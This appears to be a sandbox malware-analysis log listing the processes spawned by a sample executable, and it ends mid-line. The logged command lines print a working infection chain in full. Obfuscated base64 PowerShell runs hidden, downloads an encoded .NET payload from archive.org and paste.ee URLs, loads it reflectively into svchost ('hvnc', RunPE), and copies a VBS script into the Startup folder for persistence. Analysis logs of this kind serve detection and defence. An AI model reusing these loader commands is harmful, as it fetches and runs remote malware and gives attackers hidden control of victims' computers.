Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\pow\wm_startup.bat""	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\pow\wm_startup.bat""	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /C echo %username%	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\32\pure_hnvc.bat""	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\32\pure_hnvc.bat""	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\32\pure_hnvc.bat""	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /C echo %username%	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\Public\Documents\privacy_policy.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sys\hnvc.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sys\hnvc.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sys\hnvc.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\pow\wm.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\pow\wm.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\pow\wm.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\32\hnvc.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = 